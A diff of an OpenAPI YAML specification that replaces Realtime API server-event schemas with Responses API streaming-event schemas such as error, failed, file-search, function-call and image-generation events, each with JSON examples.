+ - invalid_image_format
+ - invalid_base64_image
+ - invalid_image_url
+ - image_too_large
+ - image_too_small
+ - image_parse_error
+ - image_content_policy_violation
+ - invalid_image_mode
+ - image_file_too_large
+ - unsupported_image_media_type
+ - empty_image_file
+ - failed_to_download_image
+ - image_file_not_found
+ ResponseErrorEvent:
+ type: object
+ description: Emitted when an error occurs.
properties:
type:
+ type: string
+ description: |
+ The type of the event. Always `error`.
+ enum:
+ - error
x-stainless-const: true
- description: The event type, must be `input_audio_buffer.dtmf_event_received`.
- const: input_audio_buffer.dtmf_event_received
- event:
+ code:
+ anyOf:
+ - type: string
+ description: |
+ The error code.
+ - type: 'null'
+ message:
type: string
- description: The telephone keypad that was pressed by the user.
- received_at:
- type: integer
description: |
- UTC Unix Timestamp when DTMF Event was received by server.
+ The error message.
+ param:
+ anyOf:
+ - type: string
+ description: |
+ The error parameter.
+ - type: 'null'
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
required:
- type
- - event
- - received_at
+ - code
+ - message
+ - param
+ - sequence_number
x-oaiMeta:
- name: input_audio_buffer.dtmf_event_received
- group: realtime
+ name: error
+ group: responses
example: |
{
- "type":" input_audio_buffer.dtmf_event_received",
- "event": "9",
- "received_at": 1763605109,
+ "type": "error",
+ "code": "ERR_SOMETHING",
+ "message": "Something went wrong",
+ "param": null,
+ "sequence_number": 1
}
- RealtimeServerEventInputAudioBufferSpeechStarted:
+ ResponseFailedEvent:
type: object
- description: "Sent by the server when in `server_vad` mode to indicate that speech has been \ndetected in the audio buffer. This can happen any time audio is added to the \nbuffer (unless speech is already detected). The client may want to use this \nevent to interrupt audio playback or provide visual feedback to the user. \n\nThe client should expect to receive a `input_audio_buffer.speech_stopped` event \nwhen speech stops. The `item_id` property is the ID of the user message item \nthat will be created when speech stops and will also be included in the \n`input_audio_buffer.speech_stopped` event (unless the client manually commits \nthe audio buffer during VAD activation).\n"
+ description: |
+ An event that is emitted when a response fails.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ description: |
+ The type of the event. Always `response.failed`.
+ enum:
+ - response.failed
x-stainless-const: true
- description: The event type, must be `input_audio_buffer.speech_started`.
- const: input_audio_buffer.speech_started
- audio_start_ms:
+ sequence_number:
type: integer
- description: "Milliseconds from the start of all audio written to the buffer during the \nsession when speech was first detected. This will correspond to the \nbeginning of audio sent to the model, and thus includes the \n`prefix_padding_ms` configured in the Session.\n"
- item_id:
- type: string
+ description: The sequence number of this event.
+ response:
+ $ref: '#/components/schemas/Response'
description: |
- The ID of the user message item that will be created when speech stops.
+ The response that failed.
required:
- - event_id
- type
- - audio_start_ms
- - item_id
+ - response
+ - sequence_number
x-oaiMeta:
- name: input_audio_buffer.speech_started
- group: realtime
+ name: response.failed
+ group: responses
example: |
{
- "event_id": "event_1516",
- "type": "input_audio_buffer.speech_started",
- "audio_start_ms": 1000,
- "item_id": "msg_003"
+ "type": "response.failed",
+ "response": {
+ "id": "resp_123",
+ "object": "response",
+ "created_at": 1740855869,
+ "status": "failed",
+ "completed_at": null,
+ "error": {
+ "code": "server_error",
+ "message": "The model failed to generate a response."
+ },
+ "incomplete_details": null,
+ "instructions": null,
+ "max_output_tokens": null,
+ "model": "gpt-6-astra",
+ "output": [],
+ "previous_response_id": null,
+ "reasoning_effort": null,
+ "store": false,
+ "temperature": 1,
+ "text": {
+ "format": {
+ "type": "text"
+ }
+ },
+ "tool_choice": "auto",
+ "tools": [],
+ "top_p": 1,
+ "truncation": "disabled",
+ "usage": null,
+ "user": null,
+ "metadata": {}
+ }
}
- RealtimeServerEventInputAudioBufferSpeechStopped:
+ ResponseFileSearchCallCompletedEvent:
type: object
- description: "Returned in `server_vad` mode when the server detects the end of speech in \nthe audio buffer. The server will also send an `conversation.item.created` \nevent with the user message item that is created from the audio buffer.\n"
+ description: Emitted when a file search call is completed (results found).
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ description: |
+ The type of the event. Always `response.file_search_call.completed`.
+ enum:
+ - response.file_search_call.completed
x-stainless-const: true
- description: The event type, must be `input_audio_buffer.speech_stopped`.
- const: input_audio_buffer.speech_stopped
- audio_end_ms:
+ output_index:
type: integer
- description: "Milliseconds since the session started when speech stopped. This will \ncorrespond to the end of audio sent to the model, and thus includes the \n`min_silence_duration_ms` configured in the Session.\n"
+ description: |
+ The index of the output item that the file search call is initiated.
item_id:
type: string
- description: The ID of the user message item that will be created.
+ description: |
+ The ID of the output item that the file search call is initiated.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
required:
- - event_id
- type
- - audio_end_ms
+ - output_index
- item_id
+ - sequence_number
x-oaiMeta:
- name: input_audio_buffer.speech_stopped
- group: realtime
+ name: response.file_search_call.completed
+ group: responses
example: |
{
- "event_id": "event_1718",
- "type": "input_audio_buffer.speech_stopped",
- "audio_end_ms": 2000,
- "item_id": "msg_003"
+ "type": "response.file_search_call.completed",
+ "output_index": 0,
+ "item_id": "fs_123",
+ "sequence_number": 1
}
- RealtimeServerEventInputAudioBufferTimeoutTriggered:
+ ResponseFileSearchCallInProgressEvent:
type: object
- description: |
- Returned when the Server VAD timeout is triggered for the input audio buffer. This is configured
- with `idle_timeout_ms` in the `turn_detection` settings of the session, and it indicates that
- there hasn't been any speech detected for the configured duration.
-
- The `audio_start_ms` and `audio_end_ms` fields indicate the segment of audio after the last
- model response up to the triggering time, as an offset from the beginning of audio written
- to the input audio buffer. This means it demarcates the segment of audio that was silent and
- the difference between the start and end values will roughly match the configured timeout.
-
- The empty audio will be committed to the conversation as an `input_audio` item (there will be a
- `input_audio_buffer.committed` event) and a model response will be generated. There may be speech
- that didn't trigger VAD but is still detected by the model, so the model may respond with
- something relevant to the conversation or a prompt to continue speaking.
+ description: Emitted when a file search call is initiated.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ description: |
+ The type of the event. Always `response.file_search_call.in_progress`.
+ enum:
+ - response.file_search_call.in_progress
x-stainless-const: true
- description: The event type, must be `input_audio_buffer.timeout_triggered`.
- const: input_audio_buffer.timeout_triggered
- audio_start_ms:
- type: integer
- description: Millisecond offset of audio written to the input audio buffer that was after the playback time of the last model response.
- audio_end_ms:
+ output_index:
type: integer
- description: Millisecond offset of audio written to the input audio buffer at the time the timeout was triggered.
+ description: |
+ The index of the output item that the file search call is initiated.
item_id:
type: string
- description: The ID of the item associated with this segment.
+ description: |
+ The ID of the output item that the file search call is initiated.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
required:
- - event_id
- type
- - audio_start_ms
- - audio_end_ms
+ - output_index
- item_id
+ - sequence_number
x-oaiMeta:
- name: input_audio_buffer.timeout_triggered
- group: realtime
+ name: response.file_search_call.in_progress
+ group: responses
example: |
{
- "type":"input_audio_buffer.timeout_triggered",
- "event_id":"event_CEKKrf1KTGvemCPyiJTJ2",
- "audio_start_ms":13216,
- "audio_end_ms":19232,
- "item_id":"item_CEKKrWH0GiwN0ET97NUZc"
+ "type": "response.file_search_call.in_progress",
+ "output_index": 0,
+ "item_id": "fs_123",
+ "sequence_number": 1
}
- RealtimeServerEventMCPListToolsCompleted:
+ ResponseFileSearchCallSearchingEvent:
type: object
- description: Returned when listing MCP tools has completed for an item.
+ description: Emitted when a file search is currently searching.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
- x-stainless-const: true
- description: The event type, must be `mcp_list_tools.completed`.
- const: mcp_list_tools.completed
- item_id:
- type: string
- description: The ID of the MCP list tools item.
- required:
- - event_id
- - type
- - item_id
- x-oaiMeta:
- name: mcp_list_tools.completed
- group: realtime
- example: |
- {
- "event_id": "event_6102",
- "type": "mcp_list_tools.completed",
- "item_id": "mcp_list_tools_001"
- }
- RealtimeServerEventMCPListToolsFailed:
- type: object
- description: Returned when listing MCP tools has failed for an item.
- properties:
- event_id:
type: string
- description: The unique ID of the server event.
- type:
+ description: |
+ The type of the event. Always `response.file_search_call.searching`.
+ enum:
+ - response.file_search_call.searching
x-stainless-const: true
- description: The event type, must be `mcp_list_tools.failed`.
- const: mcp_list_tools.failed
+ output_index:
+ type: integer
+ description: |
+ The index of the output item that the file search call is searching.
item_id:
type: string
- description: The ID of the MCP list tools item.
+ description: |
+ The ID of the output item that the file search call is initiated.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
required:
- - event_id
- type
+ - output_index
- item_id
+ - sequence_number
x-oaiMeta:
- name: mcp_list_tools.failed
- group: realtime
+ name: response.file_search_call.searching
+ group: responses
example: |
{
- "event_id": "event_6103",
- "type": "mcp_list_tools.failed",
- "item_id": "mcp_list_tools_001"
+ "type": "response.file_search_call.searching",
+ "output_index": 0,
+ "item_id": "fs_123",
+ "sequence_number": 1
}
- RealtimeServerEventMCPListToolsInProgress:
+ ResponseFormatJsonObject:
type: object
- description: Returned when listing MCP tools is in progress for an item.
+ title: JSON object
+ description: |
+ JSON object response format. An older method of generating JSON responses.
+ Using `json_schema` is recommended for models that support it. Note that the
+ model will not generate JSON without a system or user message instructing it
+ to do so.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
- x-stainless-const: true
- description: The event type, must be `mcp_list_tools.in_progress`.
- const: mcp_list_tools.in_progress
- item_id:
type: string
- description: The ID of the MCP list tools item.
+ description: The type of response format being defined. Always `json_object`.
+ enum:
+ - json_object
+ x-stainless-const: true
required:
- - event_id
- type
- - item_id
- x-oaiMeta:
- name: mcp_list_tools.in_progress
- group: realtime
- example: |
- {
- "event_id": "event_6101",
- "type": "mcp_list_tools.in_progress",
- "item_id": "mcp_list_tools_001"
- }
- RealtimeServerEventOutputAudioBufferCleared:
+ ResponseFormatJsonSchema:
type: object
+ title: JSON schema
description: |
- **WebRTC/SIP Only:** Emitted when the output audio buffer is cleared. This happens either in VAD
- mode when the user has interrupted (`input_audio_buffer.speech_started`),
- or when the client has emitted the `output_audio_buffer.clear` event to manually
- cut off the current audio response.
- [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ JSON Schema response format. Used to generate structured JSON responses.
+ Learn more about [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs).
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
- x-stainless-const: true
- description: The event type, must be `output_audio_buffer.cleared`.
- const: output_audio_buffer.cleared
- response_id:
type: string
- description: The unique ID of the response that produced the audio.
+ description: The type of response format being defined. Always `json_schema`.
+ enum:
+ - json_schema
+ x-stainless-const: true
+ json_schema:
+ type: object
+ title: JSON schema
+ description: |
+ Structured Outputs configuration options, including a JSON Schema.
+ properties:
+ description:
+ type: string
+ description: |
+ A description of what the response format is for, used by the model to
+ determine how to respond in the format.
+ name:
+ type: string
+ description: |
+ The name of the response format. Must be a-z, A-Z, 0-9, or contain
+ underscores and dashes, with a maximum length of 64.
+ schema:
+ $ref: '#/components/schemas/ResponseFormatJsonSchemaSchema'
+ strict:
+ anyOf:
+ - type: boolean
+ default: false
+ description: |
+ Whether to enable strict schema adherence when generating the output.
+ If set to true, the model will always follow the exact schema defined
+ in the `schema` field. Only a subset of JSON Schema is supported when
+ `strict` is `true`. To learn more, read the [Structured Outputs
+ guide](https://developers.openai.com/api/docs/guides/structured-outputs).
+ - type: 'null'
+ required:
+ - name
required:
- - event_id
- type
- - response_id
- x-oaiMeta:
- name: output_audio_buffer.cleared
- group: realtime
- example: |
- {
- "event_id": "event_abc123",
- "type": "output_audio_buffer.cleared",
- "response_id": "resp_abc123"
- }
- RealtimeServerEventOutputAudioBufferStarted:
+ - json_schema
+ ResponseFormatJsonSchemaSchema:
type: object
+ title: JSON schema
description: |
- **WebRTC/SIP Only:** Emitted when the server begins streaming audio to the client. This event is
- emitted after an audio content part has been added (`response.content_part.added`)
- to the response.
- [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
- properties:
- event_id:
- type: string
- description: The unique ID of the server event.
- type:
- x-stainless-const: true
- description: The event type, must be `output_audio_buffer.started`.
- const: output_audio_buffer.started
- response_id:
- type: string
- description: The unique ID of the response that produced the audio.
- required:
- - event_id
- - type
- - response_id
- x-oaiMeta:
- name: output_audio_buffer.started
- group: realtime
- example: |
- {
- "event_id": "event_abc123",
- "type": "output_audio_buffer.started",
- "response_id": "resp_abc123"
- }
- RealtimeServerEventOutputAudioBufferStopped:
+ The schema for the response format, described as a JSON Schema object.
+ Learn how to build JSON schemas [here](https://json-schema.org/).
+ additionalProperties: true
+ ResponseFormatText:
type: object
+ title: Text
description: |
- **WebRTC/SIP Only:** Emitted when the output audio buffer has been completely drained on the server,
- and no more audio is forthcoming. This event is emitted after the full response
- data has been sent to the client (`response.done`).
- [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ Default response format. Used to generate text responses.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
- x-stainless-const: true
- description: The event type, must be `output_audio_buffer.stopped`.
- const: output_audio_buffer.stopped
- response_id:
type: string
- description: The unique ID of the response that produced the audio.
+ description: The type of response format being defined. Always `text`.
+ enum:
+ - text
+ x-stainless-const: true
required:
- - event_id
- type
- - response_id
- x-oaiMeta:
- name: output_audio_buffer.stopped
- group: realtime
- example: |
- {
- "event_id": "event_abc123",
- "type": "output_audio_buffer.stopped",
- "response_id": "resp_abc123"
- }
- RealtimeServerEventRateLimitsUpdated:
+ ResponseFormatTextGrammar:
type: object
- description: "Emitted at the beginning of a Response to indicate the updated rate limits. \nWhen a Response is created some tokens will be \"reserved\" for the output \ntokens, the rate limits shown here reflect that reservation, which is then \nadjusted accordingly once the Response is completed.\n"
+ title: Text grammar
+ description: |
+ A custom grammar for the model to follow when generating text.
+ Learn more in the [custom grammars guide](https://developers.openai.com/api/docs/guides/function-calling#context-free-grammars).
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ description: The type of response format being defined. Always `grammar`.
+ enum:
+ - grammar
x-stainless-const: true
- description: The event type, must be `rate_limits.updated`.
- const: rate_limits.updated
- rate_limits:
- type: array
- description: List of rate limit information.
- items:
- type: object
- properties:
- name:
- type: string
- enum:
- - requests
- - tokens
- description: |
- The name of the rate limit (`requests`, `tokens`).
- limit:
- type: integer
- description: The maximum allowed value for the rate limit.
- remaining:
- type: integer
- description: The remaining value before the limit is reached.
- reset_seconds:
- type: number
- description: Seconds until the rate limit resets.
+ grammar:
+ type: string
+ description: The custom grammar for the model to follow.
required:
- - event_id
- type
- - rate_limits
- x-oaiMeta:
- name: rate_limits.updated
- group: realtime
- example: |
- {
- "event_id": "event_5758",
- "type": "rate_limits.updated",
- "rate_limits": [
- {
- "name": "requests",
- "limit": 1000,
- "remaining": 999,
- "reset_seconds": 60
- },
- {
- "name": "tokens",
- "limit": 50000,
- "remaining": 49950,
- "reset_seconds": 60
- }
- ]
- }
- RealtimeServerEventResponseAudioDelta:
+ - grammar
+ ResponseFormatTextPython:
type: object
- description: Returned when the model-generated audio is updated.
+ title: Python grammar
+ description: |
+ Configure the model to generate valid Python code. See the
+ [custom grammars guide](https://developers.openai.com/api/docs/guides/function-calling#context-free-grammars) for more details.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ description: The type of response format being defined. Always `python`.
+ enum:
+ - python
x-stainless-const: true
- description: The event type, must be `response.output_audio.delta`.
- const: response.output_audio.delta
- response_id:
+ required:
+ - type
+ ResponseFunctionCallArgumentsDeltaEvent:
+ type: object
+ description: Emitted when there is a partial function-call arguments delta.
+ properties:
+ type:
type: string
- description: The ID of the response.
+ description: |
+ The type of the event. Always `response.function_call_arguments.delta`.
+ enum:
+ - response.function_call_arguments.delta
+ x-stainless-const: true
item_id:
type: string
- description: The ID of the item.
+ description: |
+ The ID of the output item that the function-call arguments delta is added to.
output_index:
type: integer
- description: The index of the output item in the response.
- content_index:
+ description: |
+ The index of the output item that the function-call arguments delta is added to.
+ sequence_number:
type: integer
- description: The index of the content part in the item's content array.
+ description: The sequence number of this event.
delta:
type: string
- description: Base64-encoded audio data delta.
+ description: |
+ The function-call arguments delta that is added.
required:
- - event_id
- type
- - response_id
- item_id
- output_index
- - content_index
- delta
+ - sequence_number
x-oaiMeta:
- name: response.output_audio.delta
- group: realtime
+ name: response.function_call_arguments.delta
+ group: responses
example: |
{
- "event_id": "event_4950",
- "type": "response.output_audio.delta",
- "response_id": "resp_001",
- "item_id": "msg_008",
- "output_index": 0,
- "content_index": 0,
- "delta": "Base64EncodedAudioDelta"
+ "type": "response.function_call_arguments.delta",
+ "item_id": "item-abc",
+ "output_index": 0,
+ "delta": "{ \"arg\":"
+ "sequence_number": 1
}
- RealtimeServerEventResponseAudioDone:
+ ResponseFunctionCallArgumentsDoneEvent:
type: object
- description: |
- Returned when the model-generated audio is done. Also emitted when a Response
- is interrupted, incomplete, or cancelled.
+ description: Emitted when function-call arguments are finalized.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
- x-stainless-const: true
- description: The event type, must be `response.output_audio.done`.
- const: response.output_audio.done
- response_id:
type: string
- description: The ID of the response.
+ enum:
+ - response.function_call_arguments.done
+ x-stainless-const: true
item_id:
type: string
description: The ID of the item.
output_index:
type: integer
- description: The index of the output item in the response.
- content_index:
+ description: The index of the output item.
+ sequence_number:
type: integer
- description: The index of the content part in the item's content array.
+ description: The sequence number of this event.
+ arguments:
+ type: string
+ description: The function-call arguments.
required:
- - event_id
- type
- - response_id
- item_id
- output_index
- - content_index
+ - arguments
+ - sequence_number
x-oaiMeta:
- name: response.output_audio.done
- group: realtime
+ name: response.function_call_arguments.done
+ group: responses
example: |
{
- "event_id": "event_5152",
- "type": "response.output_audio.done",
- "response_id": "resp_001",
- "item_id": "msg_008",
- "output_index": 0,
- "content_index": 0
+ "type": "response.function_call_arguments.done",
+ "item_id": "item-abc",
+ "output_index": 1,
+ "arguments": "{ \"arg\": 123 }",
+ "sequence_number": 1
}
- RealtimeServerEventResponseAudioTranscriptDelta:
+ ResponseImageGenCallCompletedEvent:
type: object
+ title: ResponseImageGenCallCompletedEvent
description: |
- Returned when the model-generated transcription of audio output is updated.
+ Emitted when an image generation tool call has completed and the final image is available.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
- x-stainless-const: true
- description: The event type, must be `response.output_audio_transcript.delta`.
- const: response.output_audio_transcript.delta
- response_id:
type: string
- description: The ID of the response.
- item_id:
- type: string
- description: The ID of the item.
+ enum:
+ - response.image_generation_call.completed
+ description: The type of the event. Always 'response.image_generation_call.completed'.
+ x-stainless-const: true
output_index:
type: integer
- description: The index of the output item in the response.
- content_index:
+ description: The index of the output item in the response's output array.
+ sequence_number:
type: integer
- description: The index of the content part in the item's content array.
- delta:
+ description: The sequence number of this event.
+ item_id:
type: string
- description: The transcript delta.
+ description: The unique identifier of the image generation item being processed.
required:
- - event_id
- type
- - response_id
- - item_id
- output_index
- - content_index
- - delta
+ - item_id
+ - sequence_number
x-oaiMeta:
- name: response.output_audio_transcript.delta
- group: realtime
+ name: response.image_generation_call.completed
+ group: responses
example: |
{
- "event_id": "event_4546",
- "type": "response.output_audio_transcript.delta",
- "response_id": "resp_001",
- "item_id": "msg_008",
- "output_index": 0,
- "content_index": 0,
- "delta": "Hello, how can I a"
+ "type": "response.image_generation_call.completed",
+ "output_index": 0,
+ "item_id": "item-123",
+ "sequence_number": 1
}
- RealtimeServerEventResponseAudioTranscriptDone:
+ ResponseImageGenCallGeneratingEvent:
type: object
+ title: ResponseImageGenCallGeneratingEvent
description: |
- Returned when the model-generated transcription of audio output is done
- streaming. Also emitted when a Response is interrupted, incomplete, or
- cancelled.
+ Emitted when an image generation tool call is actively generating an image (intermediate state).
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
- x-stainless-const: true
- description: The event type, must be `response.output_audio_transcript.done`.
- const: response.output_audio_transcript.done
- response_id:
- type: string
- description: The ID of the response.
- item_id:
type: string
- description: The ID of the item.
+ enum:
+ - response.image_generation_call.generating
+ description: The type of the event. Always 'response.image_generation_call.generating'.
+ x-stainless-const: true
output_index:
type: integer
- description: The index of the output item in the response.
- content_index:
- type: integer
- description: The index of the content part in the item's content array.
- transcript:
+ description: The index of the output item in the response's output array.
+ item_id:
type: string
- description: The final transcript of the audio.
+ description: The unique identifier of the image generation item being processed.
+ sequence_number:
+ type: integer
+ description: The sequence number of the image generation item being processed.
required:
- - event_id
- type
- - response_id
- - item_id
- output_index
- - content_index
- - transcript
+ - item_id
+ - sequence_number
x-oaiMeta:
- name: response.output_audio_transcript.done
- group: realtime
+ name: response.image_generation_call.generating
+ group: responses
example: |
{
- "event_id": "event_4748",
- "type": "response.output_audio_transcript.done",
- "response_id": "resp_001",
- "item_id": "msg_008",
- "output_index": 0,
- "content_index": 0,
- "transcript": "Hello, how can I assist you today?"
+ "type": "response.image_generation_call.generating",
+ "output_index": 0,
+ "item_id": "item-123",
+ "sequence_number": 0
}
- RealtimeServerEventResponseContentPartAdded:
+ ResponseImageGenCallInProgressEvent:
type: object
+ title: ResponseImageGenCallInProgressEvent
description: |
- Returned when a new content part is added to an assistant message item during
- response generation.
+ Emitted when an image generation tool call is in progress.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
- x-stainless-const: true
- description: The event type, must be `response.content_part.added`.
- const: response.content_part.added
- response_id:
- type: string
- description: The ID of the response.
- item_id:
type: string
- description: The ID of the item to which the content part was added.
+ enum:
+ - response.image_generation_call.in_progress
+ description: The type of the event. Always 'response.image_generation_call.in_progress'.
+ x-stainless-const: true
output_index:
type: integer
- description: The index of the output item in the response.
- content_index:
+ description: The index of the output item in the response's output array.
+ item_id:
+ type: string
+ description: The unique identifier of the image generation item being processed.
+ sequence_number:
type: integer
- description: The index of the content part in the item's content array.
- part:
- type: object
- description: The content part that was added.
- properties:
- type:
- type: string
- enum:
- - text
- - audio
- description: The content type ("text", "audio").
- text:
- type: string
- description: The text content (if type is "text").
- audio:
- type: string
- description: Base64-encoded audio data (if type is "audio").
- transcript:
- type: string
- description: The transcript of the audio (if type is "audio").
+ description: The sequence number of the image generation item being processed.
required:
- - event_id
- type
- - response_id
- - item_id
- output_index
- - content_index
- - part
+ - item_id
+ - sequence_number
x-oaiMeta:
- name: response.content_part.added
- group: realtime
+ name: response.image_generation_call.in_progress
+ group: responses
example: |
{
- "event_id": "event_3738",
- "type": "response.content_part.added",
- "response_id": "resp_001",
- "item_id": "msg_007",
- "output_index": 0,
- "content_index": 0,
- "part": {
- "type": "text",
- "text": ""
- }
+ "type": "response.image_generation_call.in_progress",
+ "output_index": 0,
+ "item_id": "item-123",
+ "sequence_number": 0
}
- RealtimeServerEventResponseContentPartDone:
+ ResponseImageGenCallPartialImageEvent:
type: object
+ title: ResponseImageGenCallPartialImageEvent
description: |
- Returned when a content part is done streaming in an assistant message item.
- Also emitted when a Response is interrupted, incomplete, or cancelled.
+ Emitted when a partial image is available during image generation streaming.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
- x-stainless-const: true
- description: The event type, must be `response.content_part.done`.
- const: response.content_part.done
- response_id:
type: string
- description: The ID of the response.
+ enum:
+ - response.image_generation_call.partial_image
+ description: The type of the event. Always 'response.image_generation_call.partial_image'.
+ x-stainless-const: true
+ output_index:
+ type: integer
+ description: The index of the output item in the response's output array.
item_id:
type: string
- description: The ID of the item.
- output_index:
+ description: The unique identifier of the image generation item being processed.
+ sequence_number:
type: integer
- description: The index of the output item in the response.
- content_index:
+ description: The sequence number of the image generation item being processed.
+ partial_image_index:
type: integer
- description: The index of the content part in the item's content array.
- part:
- type: object
- description: The content part that is done.
- properties:
- type:
- type: string
- enum:
- - text
- - audio
- description: The content type ("text", "audio").
- text:
- type: string
- description: The text content (if type is "text").
- audio:
- type: string
- description: Base64-encoded audio data (if type is "audio").
- transcript:
- type: string
- description: The transcript of the audio (if type is "audio").
+ description: 0-based index for the partial image (backend is 1-based, but this is 0-based for the user).
+ partial_image_b64:
+ type: string
+ description: Base64-encoded partial image data, suitable for rendering as an image.
+ size:
+ type: string
+ description: The image size that was used.
+ quality:
+ type: string
+ description: The image quality that was used.
+ background:
+ type: string
+ description: The background setting that was used.
+ output_format:
+ type: string
+ description: The output format that was used.
required:
- - event_id
- type
- - response_id
- - item_id
- output_index
- - content_index
- - part
+ - item_id
+ - sequence_number
+ - partial_image_index
+ - partial_image_b64
x-oaiMeta:
- name: response.content_part.done
- group: realtime
+ name: response.image_generation_call.partial_image
+ group: responses
example: |
{
- "event_id": "event_3940",
- "type": "response.content_part.done",
- "response_id": "resp_001",
- "item_id": "msg_007",
- "output_index": 0,
- "content_index": 0,
- "part": {
- "type": "text",
- "text": "Sure, I can help with that."
- }
+ "type": "response.image_generation_call.partial_image",
+ "output_index": 0,
+ "item_id": "item-123",
+ "sequence_number": 0,
+ "partial_image_index": 0,
+ "partial_image_b64": "..."
}
- RealtimeServerEventResponseCreated:
+ ResponseInProgressEvent:
type: object
- description: |
- Returned when a new Response is created. The first event of response creation,
- where the response is in an initial state of `in_progress`.
+ description: Emitted when the response is in progress.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ description: |
+ The type of the event. Always `response.in_progress`.
+ enum:
+ - response.in_progress
x-stainless-const: true
- description: The event type, must be `response.created`.
- const: response.created
response:
- $ref: '#/components/schemas/RealtimeResponse'
+ $ref: '#/components/schemas/Response'
+ description: |
+ The response that is in progress.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
required:
- - event_id
- type
- response
+ - sequence_number
x-oaiMeta:
- name: response.created
- group: realtime
+ name: response.in_progress
+ group: responses
example: |
{
- "type": "response.created",
- "event_id": "event_C9G8pqbTEddBSIxbBN6Os",
+ "type": "response.in_progress",
"response": {
- "object": "realtime.response",
- "id": "resp_C9G8p7IH2WxLbkgPNouYL",
+ "id": "resp_67ccfcdd16748190a91872c75d38539e09e4d4aac714747c",
+ "object": "response",
+ "created_at": 1741487325,
"status": "in_progress",
- "status_details": null,
+ "completed_at": null,
+ "error": null,
+ "incomplete_details": null,
+ "instructions": null,
+ "max_output_tokens": null,
+ "model": "gpt-6-astra",
"output": [],
- "conversation_id": "conv_C9G8mmBkLhQJwCon3hoJN",
- "output_modalities": [
- "audio"
- ],
- "max_output_tokens": "inf",
- "audio": {
- "output": {
- "format": {
- "type": "audio/pcm",
- "rate": 24000
- },
- "voice": "marin"
+ "parallel_tool_calls": true,
+ "previous_response_id": null,
+ "reasoning": {
+ "effort": null,
+ "summary": null
+ },
+ "store": true,
+ "temperature": 1,
+ "text": {
+ "format": {
+ "type": "text"
+ }
+ },
+ "tool_choice": "auto",
+ "tools": [],
+ "top_p": 1,
+ "truncation": "disabled",
+ "usage": null,
+ "user": null,
+ "metadata": {}
+ },
+ "sequence_number": 1
+ }
+ ResponseIncompleteEvent:
+ type: object
+ description: |
+ An event that is emitted when a response finishes as incomplete.
+
+ Over WebSocket, steering can finish a response with
+ `response.incomplete_details.reason` set to `steered`, followed automatically
+ by a successor `response.created` that commits the queued steering input.
+ properties:
+ type:
+ type: string
+ description: |
+ The type of the event. Always `response.incomplete`.
+ enum:
+ - response.incomplete
+ x-stainless-const: true
+ response:
+ $ref: '#/components/schemas/Response'
+ description: |
+ The response that was incomplete.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
+ required:
+ - type
+ - response
+ - sequence_number
+ x-oaiMeta:
+ name: response.incomplete
+ group: responses
+ example: |
+ {
+ "type": "response.incomplete",
+ "response": {
+ "id": "resp_123",
+ "object": "response",
+ "created_at": 1740855869,
+ "status": "incomplete",
+ "completed_at": null,
+ "error": null,
+ "incomplete_details": {
+ "reason": "max_tokens"
+ },
+ "instructions": null,
+ "max_output_tokens": null,
+ "model": "gpt-6-astra",
+ "output": [],
+ "previous_response_id": null,
+ "reasoning_effort": null,
+ "store": false,
+ "temperature": 1,
+ "text": {
+ "format": {
+ "type": "text"
}
},
+ "tool_choice": "auto",
+ "tools": [],
+ "top_p": 1,
+ "truncation": "disabled",
"usage": null,
- "metadata": null
+ "user": null,
+ "metadata": {}
},
+ "sequence_number": 1
}
- RealtimeServerEventResponseDone:
+ ResponseItemList:
type: object
- description: "Returned when a Response is done streaming. Always emitted, no matter the \nfinal state. The Response object included in the `response.done` event will \ninclude all output Items in the Response but will omit the raw audio data.\n\nClients should check the `status` field of the Response to determine if it was successful\n(`completed`) or if there was another outcome: `cancelled`, `failed`, or `incomplete`.\n\nA response will contain all output items that were generated during the response, excluding\nany audio content.\n"
+ description: A list of Response items.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
- type:
+ object:
x-stainless-const: true
- description: The event type, must be `response.done`.
- const: response.done
- response:
- $ref: '#/components/schemas/RealtimeResponse'
+ description: The type of object returned, must be `list`.
+ const: list
+ data:
+ type: array
+ description: A list of items used to generate this response.
+ items:
+ $ref: '#/components/schemas/ItemResource'
+ has_more:
+ type: boolean
+ description: Whether there are more items available.
+ first_id:
+ type: string
+ description: The ID of the first item in the list.
+ last_id:
+ type: string
+ description: The ID of the last item in the list.
required:
- - event_id
- - type
- - response
+ - object
+ - data
+ - has_more
+ - first_id
+ - last_id
x-oaiMeta:
- name: response.done
- group: realtime
+ name: The input item list
+ group: responses
example: |
{
- "type": "response.done",
- "event_id": "event_CCXHxcMy86rrKhBLDdqCh",
- "response": {
- "object": "realtime.response",
- "id": "resp_CCXHw0UJld10EzIUXQCNh",
- "status": "completed",
- "status_details": null,
- "output": [
- {
- "id": "item_CCXHwGjjDUfOXbiySlK7i",
- "type": "message",
- "status": "completed",
- "role": "assistant",
- "content": [
- {
- "type": "output_audio",
- "transcript": "Loud and clear! I can hear you perfectly. How can I help you today?"
- }
- ]
- }
- ],
